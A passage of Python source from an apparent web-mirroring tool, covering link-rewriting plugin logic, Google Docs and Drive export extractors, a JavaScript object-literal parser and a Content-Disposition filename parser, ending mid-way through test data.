	def wantsUrl(url):
		return True

	@staticmethod
	def wantsFromContent(content):
		return True

	_relinkDomains  = []
	_scannedDomains = []
	_badwords       = []


	_no_ret = False

	# Hook so plugins can modify the internal URLs as part of the relinking process
	def preprocessReaderUrl(self, inUrl):
		return inUrl


	def convertToReaderUrl(self, inUrl, resource=False):
		inUrl = urlFuncs.urlClean(inUrl)
		inUrl = self.preprocessReaderUrl(inUrl)
		# The link will have been canonized at this point

		# Do not relink inline images
		if inUrl.startswith("data:"):
			return inUrl

		# or links that are NOP()ed with javascript
		if inUrl.startswith("javascript:void(0);"):
			return inUrl


		# Fix protocol-relative URLs
		if inUrl.startswith("//"):
			if hasattr(self, "pageUrl"):
				scheme = urllib.parse.urlsplit(self.pageUrl).scheme
			else:
				self.log.warning("No pageUrl member variable? Guessing about the protocol type!")
				scheme = "http"
			inUrl = "{}:{}".format(scheme, inUrl)

		if resource:
			prefix = "RESOURCE:{}".format(config.relink_secret)
		else:
			prefix = "CONTENT:{}".format(config.relink_secret)
		url = '%s%s' % (prefix.lower(), urllib.parse.quote(inUrl))
		return url

	def convertToReaderImage(self, inStr):
		inStr = urlFuncs.urlClean(inStr)
		return self.convertToReaderUrl(inStr, resource=True)

	def relink(self, soup, imRelink=None):
		# The google doc reader relinking mechanisms requires overriding the
		# image relinking mechanism. As such, allow that to be overridden
		# if needed
		# print("relink call!")
		# print(self._relinkDomains)
		if not imRelink:
			imRelink = self.convertToReaderImage


		for (isImg, tag, attr) in urlFuncs.urlContainingTargets:

			if not isImg:
				for link in soup.findAll(tag):
					try:
						# print("Link!", self.checkRelinkDomain(link[attr]), link[attr])
						# if self.checkRelinkDomain(link[attr]):
						link[attr] = self.convertToReaderUrl(link[attr])

						if "google.com" in urllib.parse.urlsplit(link[attr].lower()).netloc:
							link[attr] = urlFuncs.trimGDocUrl(link[attr])
							# print("Relinked", link[attr])
					except KeyError:
						continue

			else:
				for link in soup.findAll(tag):
					try:
						link[attr] = imRelink(link[attr])

						if tag == 'img':
							# Force images that are oversize to fit the window.
							link["style"] = 'max-width: 95%;'

							if 'width' in link.attrs:
								del link.attrs['width']
							if 'height' in link.attrs:
								del link.attrs['height']

					except KeyError:
						continue


		# Keyhole patch for fictionpress next/prev buttons onclick elements.
		for button in [item for item in soup.findAll('button') if item.has_attr("onclick")]:
			if button['onclick'].startswith("self.location='") \
				and button['onclick'].endswith("'")            \
				and button['onclick'].count("'") == 2:
				prefix, url, postfix = button['onclick'].split("'")
				url = urlFuncs.rebaseUrl(url, self.pageUrl)
				url = self.convertToReaderUrl(url)
				button['onclick'] = "'".join((prefix, url, postfix))

		return soup



	# check if domain `url` is a sub-domain of the domains we should relink.
	def checkRelinkDomain(self, url):
		# if "drive" in url:

		# print("CheckDomain", any([rootUrl in url.lower() for rootUrl in self._relinkDomains]), url)
		# print(self._relinkDomains)
		# dom = list(self._relinkDomains)
		# dom.sort()
		# for rootUrl in dom:
		# 	print(rootUrl in url.lower(), rootUrl)

		return any([rootUrl in url.lower() for rootUrl in self._relinkDomains])



	# check if domain `url` is a sub-domain of the scanned domains.
	def checkDomain(self, url):
		# if "drive" in url:
		for rootUrl in self._scannedDomains:
			if urllib.parse.urlsplit(url).netloc:
				if urllib.parse.urlsplit(url).netloc == rootUrl:
					return True

			if url.lower().startswith(rootUrl):
				return True

		# print("CheckDomain False", url)
		return False

	def checkFollowGoogleUrl(self, url):
		'''
		I don't want to scrape outside of the google doc document context.

		Therefore, if we have a URL that's on docs.google.com, and doesn't have
		'/document/d/ in the URL, block it.
		'''
		# Short circuit for non docs domains
		url = url.lower()
		netloc = urllib.parse.urlsplit(url).netloc
		if not "docs.google.com" in netloc:
			return True

		if '/document/d/' in url:
			return True

		return False


	def processLinkItem(self, url, baseUrl):

		url = urlFuncs.cleanUrl(url)
		if not url:
			return None

		# Fucking tumblr redirects.
		if url.startswith("https://www.tumblr.com/login"):
			return None

		for badword in self._badwords:
			if badword in url:
				return

		for badword in self._badwords:
			if badword in url:
				return

		url = urlFuncs.urlClean(url)

		if "google.com" in urllib.parse.urlsplit(url.lower()).netloc:
			url = urlFuncs.trimGDocUrl(url)

			if url.startswith('https://docs.google.com/document/d/images'):
				return

			# self.log.info("Resolved URL = '%s'", url)
			ret = self.processNewUrl(url, baseUrl)
			return ret
			# self.log.info("New G link: '%s'", url)

		else:
			# Remove any URL fragments causing multiple retreival of the same resource.
			if url != urlFuncs.trimGDocUrl(url):
				print('Old URL: "%s"' % url)
				print('Trimmed: "%s"' % urlFuncs.trimGDocUrl(url))
				raise ValueError("Wat? Url change? Url: '%s'" % url)
			ret = self.processNewUrl(url, baseUrl)
			# print("Returning:", ret)
			return ret
			# self.log.info("Newlink: '%s'", url)


	def extractLinks(self, soup, baseUrl):
		# All links have been resolved to fully-qualified paths at this point.
		ret = []
		# print("Extracting links!")
		for (dummy_isImg, tag, attr) in urlFuncs.urlContainingTargets:

			for link in soup.findAll(tag):

				# Skip empty anchor tags
				try:
					url = link[attr]
				except KeyError:
					continue


				item = self.processLinkItem(url, baseUrl)
				if item:
					ret.append(item.strip())

		return set(ret)


	def extractImages(self, soup, baseUrl):
		ret = []
		for imtag in soup.find_all("img"):
						# Skip empty anchor tags
			try:
				url = imtag["src"]
			except KeyError:
				continue

			item = self.processImageLink(url, baseUrl)
			if item:
				ret.append(item)
		return set(ret)



	def postprocessBody(self, soup):
		return soup

	def preprocessBody(self, soup):
		return soup


	# Methods to allow the child-class to modify the content at various points.
	def extractTitle(self, srcSoup, url):

		if srcSoup.title:
			return srcSoup.title.get_text().strip()


		return "'%s' has no title!" % url



	def processNewUrl(self, url, baseUrl=None, istext=True):
		if not url.lower().startswith("http"):
			if baseUrl:
				# If we have a base-url to extract the scheme from, we pull that out, concatenate
				# it onto the rest of the url segments, and then unsplit that back into a full URL
				scheme = urllib.parse.urlsplit(baseUrl.lower()).scheme
				rest = urllib.parse.urlsplit(baseUrl.lower())[1:]
				params = (scheme, ) + rest

				# self.log.info("Had to add scheme (%s) to URL: '%s'", scheme, url)
				url = urllib.parse.urlunsplit(params)

			elif self.ignoreBadLinks:
				self.log.error("Skipping a malformed URL!")
				self.log.error("Bad URL: '%s'", url)
				return
			else:
				raise ValueError("Url isn't a url: '%s'" % url)
		# if urlFuncs.isGdocUrl(url) or urlFuncs.isGFileUrl(url):
		# 	if urlFuncs.trimGDocUrl(url) != url:
		# 		raise ValueError("Invalid link crept through! Link: '%s'" % url)


		if not url.lower().startswith('http'):
			raise ValueError("Failure adding scheme to URL: '%s'" % url)

		if '/view/export?format=zip' in url:
			raise ValueError("Wat?")

		return url



	# Proxy call for enforcing call-correctness
	@classmethod
	def process(cls, params):
		expected = [
			'pageUrl',
			'pgContent',
			'mimeType',
			'db_sess',
			'baseUrls',
			'loggerPath',
			'badwords',
			'decompose',
			'decomposeBefore',
			'fileDomains',
			'allImages',
			'ignoreBadLinks',
			'stripTitle',
			'relinkable',
			'destyle',
			'preserveAttrs',
			'type',
			'message_q',
			'job',
			'wg',
		]

		assert len(params) == len(expected), "Incorrect number of passed plugin parameters?"
		for expect in expected:
			assert expect in params, "Plugin missing expected argument: '%s'" % expect

		instance = cls(**params)
		# print("Instantiated plugin: ", instance)
		# print("Now calling: ", instance.extractContent)
		ret = instance.extractContent()
		# print("Call returned data: ", bool(ret))

		# Filters don't return anything, so
		# don't check for return stuff
		if instance._no_ret:
			return

		# Copy the mime-type into the return, since bothering to round-trip
		# it through the processor class is silly.
		ret['mimeType'] = params['mimeType']

		# Google doc returns include inline content (images, usualy)
		gdoc_ret_expected = ['plainLinks', 'rsrcLinks', 'title', 'contents', 'mimeType', 'resources']

		# Normal return have just markup, title, contents, and the mime-type
		text_ret_expected = ['plainLinks', 'rsrcLinks', 'title', 'contents', 'mimeType']

		# File content doesn't contain links or a title, but does include the file-name (generally from the URL or the content-disposition headers)
		file_ret_expected = ['file', 'content', 'fName', 'mimeType']

		# Rss content is a set of responses (one per article), so we just have two high-level entries.
		rss_ret_expected  = ['mimeType', 'rss-content']

		if "file" in ret and ret['file'] == True:
			assert len(ret) == len(file_ret_expected), "File response length mismatch! Expect: %s, received %s (expect keys: '%s', received keys '%s')" % (len(file_ret_expected), len(ret), file_ret_expected, list(ret.keys()))
			for expect in file_ret_expected:
				assert expect in ret, "Expected key '%s' in ret (keys: '%s')" % (expect, list(ret.keys()))
		elif 'rss-content' in ret:
			for expect in rss_ret_expected:
				assert expect in ret, "Expected key '%s' in ret (keys: '%s')" % (expect, list(ret.keys()))
		else:

			if len(ret) == len(text_ret_expected):
				for expect in text_ret_expected:
					assert expect in ret, "Expected key '%s' in ret (keys: '%s')" % (expect, list(ret.keys()))
			elif len(ret) == len(gdoc_ret_expected):
				for expect in gdoc_ret_expected:
					assert expect in ret, "Expected key '%s' in ret (keys: '%s')" % (expect, list(ret.keys()))
			else:
				raise ValueError("Invalid number of items in ret. Keys = '%s'" % list(ret.keys()))

		return ret















import bs4

import re
import io
import logging

import zipfile
import WebMirror.util.webFunctions
import mimetypes
import urllib.parse
import urllib.error

from . import jsLiteralParse
import WebMirror.util.urlFuncs as urlFuncs


class GDocExtractor(object):

	log = logging.getLogger("Main.Text.GDoc")
	wg = WebMirror.util.webFunctions.WebGetRobust(logPath="Main.GDoc.Web")

	def __init__(self, targetUrl):

		isGdoc, url = urlFuncs.isGdocUrl(targetUrl)
		if not isGdoc:
			raise ValueError("Passed URL '%s' is not a google document?" % targetUrl)

		url = urlFuncs.trimGDocUrl(url)
		self.url = url+'/export?format=zip'
		self.refererUrl = targetUrl

		self.document = ''

		self.currentChunk = ''

	@classmethod
	def getDriveFileUrls(cls, url):
		ctnt, handle = cls.wg.getpage(url, returnMultiple=True)

		# Pull out the title for the disambiguation page.
		soup = WebMirror.util.webFunctions.as_soup(ctnt)
		title = soup.title.string

		# Google drive supports a `read?{google doc path} mode. As such, we look at the actual URL,
		# which tells us if we redirected to a plain google doc, and just return that if the redirect occured.
		handleUrl = handle.geturl()
		if handleUrl != url:
			if urlFuncs.isGdocUrl(handleUrl):
				cls.log.info("Direct read redirect: '%s'", handleUrl)
				handleUrl = urlFuncs.trimGDocUrl(handleUrl)
				return [(title, handleUrl)], title

		jsRe = re.compile('var data = (.*?); _initFolderLandingPageApplication\(config, data\)', re.DOTALL)

		items = jsRe.findall(ctnt)
		assert len(items) == 1

		data = '{cont}'.format(cont=items.pop().strip())
		conf = jsLiteralParse.jsParse(data)

		# The keys+data in the data/conf are:
		# 'folderName'  - Title of the folder, just a string
		# 'viewerItems' - List of lists of the items in the folder, which contains the title, previewimage, and url for each item.
		# 				Other stuff (mime types) for the files, but they're all google internal mime-types and look to be the same for
		# 				Every file, even if they're different docs types.
		# 'folderModel' - List of UID and the view URL. Looks to be completely redundant, as all the information is also in 'viewerItems'

		assert 'viewerItems' in conf
		assert 'folderName' in conf

		title = conf['folderName']

		pages = conf['viewerItems']

		items = []
		for page in pages:
			if len(page) != 18 and len(page) != 22:
				cls.log.error("json entry in page with an invalid length:")
				cls.log.error("%s", page)
				continue


			# Item 2 is the title, item 17 is the doc URL
			# The doc URL is unicode escaped, annoyingly
			itemTitle = page[2]
			itemUrl   = page[17].encode('ascii').decode('unicode_escape')

			itemUrl = urlFuncs.trimGDocUrl(itemUrl)

			items.append((itemTitle, itemUrl))


		return items, title


	def extract(self):
		try:
			arch, fName = self.wg.getFileAndName(self.url, addlHeaders={'Referer': self.refererUrl})
		except IndexError:
			print("ERROR: Failure retreiving page!")
			return None, []

		baseName = fName.split(".")[0]

		if not isinstance(arch, bytes):
			if 'You need permission' in arch or 'Sign in to continue to Docs':
				self.log.critical("Retreiving zip archive failed?")
				self.log.critical("Retreived content type: '%s'", type(arch))
				raise TypeError("Cannot access document? Is it protected?")
			else:
				with open("tmp_page.html", "w") as fp:
					fp.write(arch)
				raise ValueError("Doc not valid?")

		zp = io.BytesIO(arch)
		zfp = zipfile.ZipFile(zp)

		resources = []
		baseFile = None

		for item in zfp.infolist():
			if not "/" in item.filename and not baseFile:
				contents = zfp.open(item).read()
				contents = bs4.UnicodeDammit(contents).unicode_markup

				baseFile = (item.filename, contents)

			elif baseName in item.filename and baseName:
				raise ValueError("Multiple base file items?")

			else:
				resources.append((item.filename, mimetypes.guess_type(item.filename)[0], zfp.open(item).read()))

		if not baseFile:
			raise ValueError("No base file found!")

		return baseFile, resources





class GFileExtractor(object):

	log = logging.getLogger("Main.Text.GFile")
	wg = WebMirror.util.webFunctions.WebGetRobust(logPath="Main.GFile.Web")

	def __init__(self, targetUrl):

		isGdoc, url = isGFileUrl(targetUrl)
		if not isGdoc:
			raise ValueError("Passed URL '%s' is not a google document?" % targetUrl)

		self.url = url
		self.refererUrl = url

		self.document = ''

		self.currentChunk = ''



	def getItem(self, itemUrl, addlHeaders=None):

		content, handle = self.wg.getpage(itemUrl, returnMultiple=True, addlHeaders={'Referer': self.refererUrl})
		if not content or not handle:
			raise ValueError("Failed to retreive file from page '%s'!" % itemUrl)



		info = handle.info()
		if not 'Content-Disposition' in info:
			info['Content-Disposition'] = ''

		fileN = jsLiteralParse.parseContentDispositon(info['Content-Disposition'], itemUrl)
		fileN = bs4.UnicodeDammit(fileN).unicode_markup

		mType = handle.info()['Content-Type']

		# If there is an encoding in the content-type (or any other info), strip it out.
		# We don't care about the encoding, since WebFunctions will already have handled that,
		# and returned a decoded unicode object.

		if mType and ";" in mType:
			mType = mType.split(";")[0].strip()


		self.log.info("Retreived file of type '%s', name of '%s' with a size of %0.3f K", mType, fileN, len(content)/1000.0)
		return content, fileN, mType


	def extract(self):

		try:
			content = self.wg.getpage(self.url)
		except IndexError:
			print("ERROR: Failure retreiving page!")
			return None, None, None




		initRe = re.compile('_initProjector\((.*?)\)', re.DOTALL)

		pageConf = initRe.findall(content)
		if not pageConf:
			self.log.error('Could not find download JSON on google file page "%s"', self.url)
		conf = pageConf.pop()

		conf = jsLiteralParse.jsParse('[{cont}]'.format(cont=conf.strip()))

		# Verify the jsLiteral data structure is what we expect.
		metadata = conf[-1]
		assert len(metadata) == 32
		title = metadata[1]
		dlUrl = metadata[18]

		fileUrl = dlUrl.encode("ascii").decode('unicode-escape')


		try:
			file, fName, mType = self.getItem(fileUrl, addlHeaders={'Referer': self.refererUrl})
		except IndexError:
			self.log.error("ERROR: Failure retreiving page!")
			return None, None, None

		if title not in fName:
			fName = title + " " + fName



		# print(fName, type(file), mType)
		return file, fName, mType


def makeDriveDisambiguation(urls, pageHeader):

	soup = WebMirror.util.webFunctions.as_soup("")

	tag = soup.new_tag('h3')
	tag.string = 'Google Drive directory: %s' % pageHeader
	soup.append(tag)
	for title, url in urls:
		tag = soup.new_tag('a', href=url)
		tag.string = title
		soup.append(tag)
		tag = soup.new_tag('br')
		soup.append(tag)
	return soup


def test():
	import WebMirror.util.webFunctions
	wg = WebMirror.util.webFunctions.WebGetRobust()

	# url = 'https://docs.google.com/document/d/1ljoXDy-ti5N7ZYPbzDsj5kvYFl3lEWaJ1l3Lzv1cuuM/preview'
	# url = 'https://docs.google.com/document/d/17__cAhkFCT2rjOrJN1fK2lBdpQDSO0XtZBEvCzN5jH8/preview'
	url = 'https://docs.google.com/document/d/1t4_7X1QuhiH9m3M8sHUlblKsHDAGpEOwymLPTyCfHH0/preview'

	urls = [
		'https://docs.google.com/document/d/1RrLZ-j9uS5dJPXR44VLajWrGPJl34CVfAeJ7pELPMy4',
		'https://docs.google.com/document/d/1_1e7D30N16Q1Pw6q68iCrOGhHZNhXd3C9jDrRXbXCTc',
		'https://docs.google.com/document/d/1ke-eW78CApO0EgfY_X_ZgLyEEcEQ2fH8vK_oGbhROPM',
		'https://docs.google.com/document/d/1Dl5XbPHThX6xCxhIHL9oY0zDbIuQn6fXckXQ16rECps',
		'https://docs.google.com/document/d/12UHbPduKDVjSk99VVdf5OHdaHxzN3nuIcAGrW5oV5E8',
		'https://docs.google.com/document/d/1ebJOszL08TqJw1VvyaVfO72On4rQBPca6CujSYy-McY',
		'https://docs.google.com/document/d/19vXfdmkAyLWcfV2BkgIxNawD2QwCoeFEQtV8wYwTamU',
		'https://docs.google.com/document/d/1RGqoPR6sfjJY_ZxLfQGa4YLNIW5zKj1HTWa6qmFLQfg',
		'https://docs.google.com/document/d/1TDmwoB6Y7XiPJRZ7-OGjAhEqPPbdasazn0vBbCvj8IM',
		'https://docs.google.com/document/d/1o40vXZAW6v81NlNl4o6Jvjch0GO2ETv5JgwKqXfOpOQ',
		'https://docs.google.com/document/d/1STcAhI6J9CEEx7nQFGAt_mnxfgo0fMOrb4Ls0EYWRHk',
		'https://docs.google.com/document/d/1xyyhV5yeoRTZHPCPX6yeL8BbVzybhFM27EyInFtjwZQ',
		'https://docs.google.com/document/d/11RzD2ILc1MKH5VA4jBzCDO7DIFRzUFCjAe7-MnJfDLY',
		'https://docs.google.com/document/d/1AVyCN0nXTTqVrrMaqJRUSkTP1Ksyop9H-UHWvdMB5Ps',
		'https://docs.google.com/document/d/18VaVO2VnFMo5Lv6VFZ4hP-lbX3XxHKnPu6wc2sxxA6U',
		'https://docs.google.com/document/d/1XuD5iloTWdpFAAzuSHpQuPKVwsrQeyAlT0CSFoIYk3A',
		'https://docs.google.com/document/d/1yoKoZq3DBCXLJ__1LNod_d_p6SkKC2VzQ3r-pjlOa4M',
		'https://docs.google.com/document/d/1CIJLV1CN57naLf9gG9Y6C7aZ6ieLM9uL5CGquxCNPQM',
		'https://docs.google.com/document/d/1m9yGcNhNfQRCfdcmwb4mAy2sVG3BXHjM6cBFKjzmvFw',
	]

	fUrls = [
		'https://docs.google.com/file/d/0B8UYgI2TD_nmWG04bG5teFdNZlk',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmTlQ3UXY1WGlOZVk',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmMU1ab3g3MFhIdkk',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmaDQxY1l4VFVQTXc',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmQjB4UE5ZMkdVeDg',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmU0tPeXlRYm00MHM',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmeVBGcjRQUVpDSjA',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmSmtWVVpkZG14RVk',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmanB5ZEZHRHNSNDg',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmNlp0a0RZSmZ3UFk',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmOTRCU3FWSzdYV3M',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmRjhrUDNPZXlCQWs',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmNUMzNWJpZnJkRkU',
		'https://docs.google.com/file/d/0B1aV_gkFqPDdbnh6Q244b1lDN0k/',
		'https://docs.google.com/file/d/0B8UYgI2TD_nmNUMzNWJpZnJkRkU/edit',
		'https://docs.google.com/file/d/0B1aV_gkFqPDdMUUtM3ViaVdzM0E/',
		'https://docs.google.com/file/d/0B1aV_gkFqPDdM181YkRFWlBzUlE/',
		'https://docs.google.com/file/d/0B1aV_gkFqPDdY1RTNWcxcjlURDQ/edit',
	]

	# print(makeDriveDisambiguation(urls))
	# parse = GDocExtractor(url)
	# base, resc = parse.extract()
	# # parse.getTitle()

	# print(GDocExtractor.getDriveFileUrls('https://drive.google.com/folderview?id=0B_mXfd95yvDfQWQ1ajNWZTJFRkk&usp=drive_web'))


	# for fUrl in fUrls:
	# 	extr = GFileExtractor(fUrl)
	# 	print(extr)
	# 	print(extr.extract())

	# with open("test.html", "wb") as fp:
	# 	fp.write(ret.encode("utf-8"))


	# parse = GDocExtractor('https://docs.google.com/document/d/19CLYtylsoFYEQSpp4tJ5trzkiAS0G3w_0ay7l62qy44/pub')

	parse = GDocExtractor('https://docs.google.com/document/d/1atXMtCutHRpcHwSRS5UyMAC58_gQjMPR2dDVn1LCD3E')
	parse.extract()

if __name__ == "__main__":
	import logSetup
	if __name__ == "__main__":
		print("Initializing logging")
		logSetup.initLogging()

	test()


























import pyparsing as pp

def jsParse(inStr):
	# This disaster is a context-free grammar parser for parsing javascript object literals.
	# It needs to be able to handle a lot of the definitional messes you find in in-the-wild
	# javascript object literals.
	# Unfortunately, Javascript is /way/ more tolerant then JSON when it comes to object literals
	# so we can't just parse objects using python's `json` library.

	TRUE = pp.Keyword("true").setParseAction( pp.replaceWith(True) )
	FALSE = pp.Keyword("false").setParseAction( pp.replaceWith(False) )
	NULL = pp.Keyword("null").setParseAction( pp.replaceWith(None) )

	jsonString = pp.quotedString.setParseAction( pp.removeQuotes )
	jsonNumber = pp.Combine( pp.Optional('-') + ( '0' | pp.Word('123456789',pp.nums) ) +
											pp.Optional( '.' + pp.Word(pp.nums) ) +
											pp.Optional( pp.Word('eE',exact=1) + pp.Word(pp.nums+'+-',pp.nums) ) )

	jsonObject   = pp.Forward()
	jsonValue    = pp.Forward()
	jsonDict     = pp.Forward()
	jsonArray    = pp.Forward()
	jsonElements = pp.Forward()

	rawText      = pp.Regex('[a-zA-Z_$][0-9a-zA-Z_$]*')

	commaToNull = pp.Word(',,', exact=1).setParseAction(pp.replaceWith(None))
	jsonElements << pp.ZeroOrMore(commaToNull) + pp.Optional(jsonObject) + pp.ZeroOrMore((pp.Suppress(',') + jsonObject) | commaToNull)

	jsonValue << ( jsonString | jsonNumber | TRUE | FALSE | NULL )


	dictMembers = pp.delimitedList( pp.Group( (rawText | jsonString) + pp.Suppress(':') + (jsonValue | jsonDict | jsonArray)))
	jsonDict << ( pp.Dict( pp.Suppress('{') + pp.Optional(dictMembers) + pp.ZeroOrMore(pp.Suppress(',')) + pp.Suppress('}') ) )
	jsonArray << ( pp.Group(pp.Suppress('[') + pp.Optional(jsonElements) + pp.Suppress(']') ) )
	jsonObject << (jsonValue | jsonDict | jsonArray)

	jsonComment = pp.cppStyleComment
	jsonObject.ignore( jsonComment )

	def convertDict(s, l, toks):

		return dict(toks.asList())

	def convertNumbers(s,l,toks):
		n = toks[0]
		try:
			return int(n)
		except ValueError:
			return float(n)

	jsonNumber.setParseAction(convertNumbers)
	jsonDict.setParseAction(convertDict)

	# jsonObject.setDebug()
	jsonObject.parseString('"inStr"').pop()
	return jsonObject.parseString(inStr).pop()


# Stolen from http://stackoverflow.com/a/12017573/268006
import re
import urllib.parse

import os

# content-disposition = "Content-Disposition" ":"
#                        disposition-type *( ";" disposition-parm )
# disposition-type    = "inline" | "attachment" | disp-ext-type
#                     ; case-insensitive
# disp-ext-type       = token
# disposition-parm    = filename-parm | disp-ext-parm
# filename-parm       = "filename" "=" value
#                     | "filename*" "=" ext-value
# disp-ext-parm       = token "=" value
#                     | ext-token "=" ext-value
# ext-token           = <the characters in token, followed by "*">

def parseContentDispositon(cDispHdr, srcUrl):
	token           = '[-!#-\'*+.\dA-Z^-z|~]+'
	qdtext          = '[]-~\t !#-[]'
	mimeCharset     = '[-!#-&+\dA-Z^-z]+'
	language        = '(?:[A-Za-z]{2,3}(?:-[A-Za-z]{3}(?:-[A-Za-z]{3}){,2})?|[A-Za-z]{4,8})(?:-[A-Za-z]{4})?(?:-(?:[A-Za-z]{2}|\d{3}))(?:-(?:[\dA-Za-z]{5,8}|\d[\dA-Za-z]{3}))*(?:-[\dA-WY-Za-wy-z](?:-[\dA-Za-z]{2,8})+)*(?:-[Xx](?:-[\dA-Za-z]{1,8})+)?|[Xx](?:-[\dA-Za-z]{1,8})+|[Ee][Nn]-[Gg][Bb]-[Oo][Ee][Dd]|[Ii]-[Aa][Mm][Ii]|[Ii]-[Bb][Nn][Nn]|[Ii]-[Dd][Ee][Ff][Aa][Uu][Ll][Tt]|[Ii]-[Ee][Nn][Oo][Cc][Hh][Ii][Aa][Nn]|[Ii]-[Hh][Aa][Kk]|[Ii]-[Kk][Ll][Ii][Nn][Gg][Oo][Nn]|[Ii]-[Ll][Uu][Xx]|[Ii]-[Mm][Ii][Nn][Gg][Oo]|[Ii]-[Nn][Aa][Vv][Aa][Jj][Oo]|[Ii]-[Pp][Ww][Nn]|[Ii]-[Tt][Aa][Oo]|[Ii]-[Tt][Aa][Yy]|[Ii]-[Tt][Ss][Uu]|[Ss][Gg][Nn]-[Bb][Ee]-[Ff][Rr]|[Ss][Gg][Nn]-[Bb][Ee]-[Nn][Ll]|[Ss][Gg][Nn]-[Cc][Hh]-[Dd][Ee]'
	valueChars      = '(?:%[\dA-F][\dA-F]|[-!#$&+.\dA-Z^-z|~])*'
	dispositionParm = '[Ff][Ii][Ll][Ee][Nn][Aa][Mm][Ee]\s*=\s*(?:({token})|"((?:{qdtext}|\\\\[\t !-~])*)")|[Ff][Ii][Ll][Ee][Nn][Aa][Mm][Ee]\*\s*=\s*({mimeCharset})\'(?:{language})?\'({valueChars})|{token}\s*=\s*(?:{token}|"(?:{qdtext}|\\\\[\t !-~])*")|{token}\*\s*=\s*{mimeCharset}\'(?:{language})?\'{valueChars}'.format(**locals())

	# Wat?

	formatArgs = {
		'token'           : token,
		'qdtext'          : qdtext,
		'mimeCharset'     : mimeCharset,
		'language'        : language,
		'valueChars'      : valueChars,
		'dispositionParm' : dispositionParm
	}

	try:
		m = re.match('(?:{token}\s*;\s*)?(?:{dispositionParm})(?:\s*;\s*(?:{dispositionParm}))*|{token}'.format(**formatArgs), cDispHdr)

	except KeyError:
		name = os.path.basename(urllib.parse.unquote(urllib.parse.urlparse(srcUrl).path))

	else:
		if not m:
			name = os.path.basename(urllib.parse.unquote(urllib.parse.urlparse(srcUrl).path))

		# Many user agent implementations predating this specification do not
		# understand the "filename*" parameter.  Therefore, when both "filename"
		# and "filename*" are present in a single header field value, recipients
		# SHOULD pick "filename*" and ignore "filename"

		elif m.group(8) is not None:
			name = urllib.parse.unquote(m.group(8))
			# name = urllib.parse.unquote(m.group(8)).decode(m.group(7)) # Urllib is decoding the headers before I get them, because annoying, apparentlty.

		elif m.group(4) is not None:
			name = urllib.parse.unquote(m.group(4))
			# name = urllib.parse.unquote(m.group(4)).decode(m.group(3))

		elif m.group(6) is not None:
			name = re.sub('\\\\(.)', '\1', m.group(6))

		elif m.group(5) is not None:
			name = m.group(5)

		elif m.group(2) is not None:
			name = re.sub('\\\\(.)', '\1', m.group(2))

		else:
			name = m.group(1)

		# Recipients MUST NOT be able to write into any location other than one to
		# which they are specifically entitled

		if name:
			name = os.path.basename(name)

		else:
			name = os.path.basename(urllib.parse.unquote(urllib.parse.urlparse(srcUrl).path))

	return name

def test():
	tests = (

		'''[{'id': 'thing', }, 'wat']''',      # ok


		'''{wat: [1, 2, ,], lol: [],}''',
		'''[{wat: [1, 2, ,], lol: [],}]''',

		'''[{'id': 'thing', }, 'wat',]''',      # ok
		'''"wat", "wat"''',      # ok

		'''
		[{'id': '0B8UYgI2TD_nmNUMzNWJpZnJkRkU', 'title': 'story1-2.txt','enableStandaloneSharing': true,'enableEmbedDialog': true,'projectorFeedbackId': '99950', 'projectorFeedbackBucket': 'viewer-web',},["",1,,1,1,1,1,,,1,1,[0,,0,"AIzaSyDVQw45DwoYh632gvsP5vPDqEKvb-Ywnb8",0,0,1,0,,,0,"/drive/v2internal",0,0,0,[0,0,0]
		]
		,1,5,1,"https://docs.google.com",0,1,"https://docs.google.com",0,1,1,1,1,,1,20,1,0,0,1,1,[[,"0"]
		,6,1,1]
		,1,1,1,,[0,,,,"https://accounts.google.com/ServiceLogin?service\u003dwise\u0026passive\u003d1209600\u0026continue\u003dhttps://docs.google.com/file/d/0B8UYgI2TD_nmNUMzNWJpZnJkRkU/edit?pli%3D1\u0026hl\u003den\u0026followup\u003dhttps://docs.google.com/file/d/0B8UYgI2TD_nmNUMzNWJpZnJkRkU/edit?pli%3D1"]
		,0,1,1,600000,[1]
		,,0,0,[0,0,0]
		,["https://youtube.googleapis.com",1]
		,0,0,,0,1,0]
		,[,"story1-2.txt","https://lh5.googleusercontent.com/0JHRa3LjGQrV7UOhZMcuCj5I81mXlTOnrvtm4HPjQruxNP0SMuGJF-K7HsjDP8b1rM_e\u003ds1600",,,,"0B8UYgI2TD_nmNUMzNWJpZnJkRkU",,,"https://docs.google.com/st/viewurls?id\u003d0B8UYgI2TD_nmNUMzNWJpZnJkRkU\u0026m\u003d1440",,"text/plain",,,6,,"https://docs.google.com/file/d/0B8UYgI2TD_nmNUMzNWJpZnJkRkU/view?pli\u003d1",1,"https://docs.google.com/uc?id\u003d0B8UYgI2TD_nmNUMzNWJpZnJkRkU\u0026export\u003ddownload",,5,,,,,,,,,,,0]]
		''',
		'''{folderModel: [
				[,"1X8oBqzsQcOe42evH7Fiw2LlPqczDJh5GISzwr6kPH5M",,,"https://docs.google.com/spreadsheets/d/1X8oBqzsQcOe42evH7Fiw2LlPqczDJh5GISzwr6kPH5M/edit?usp\u003ddrive_web"],
				[,"1ZdweQdjIBqNsJW6opMhkkRcSlrbgUN5WHCcYrMY7oqI",,,"https://docs.google.com/document/d/1ZdweQdjIBqNsJW6opMhkkRcSlrbgUN5WHCcYrMY7oqI/edit?usp\u003ddrive_web"],
				[,"1aqTds7Pl1VOkmSnxKrP4TdylM_tWr_0DlTdUJ3DjRLE",,,"https://docs.google.com/document/d/1aqTds7Pl1VOkmSnxKrP4TdylM_tWr_0DlTdUJ3DjRLE/edit?usp\u003ddrive_web"],
				[,"1lw1IiIly8-9BcrKOVfxt7IcA_aYr-AibqTQXu3WR2zU",,,"https://docs.google.com/document/d/1lw1IiIly8-9BcrKOVfxt7IcA_aYr-AibqTQXu3WR2zU/edit?usp\u003ddrive_web"],
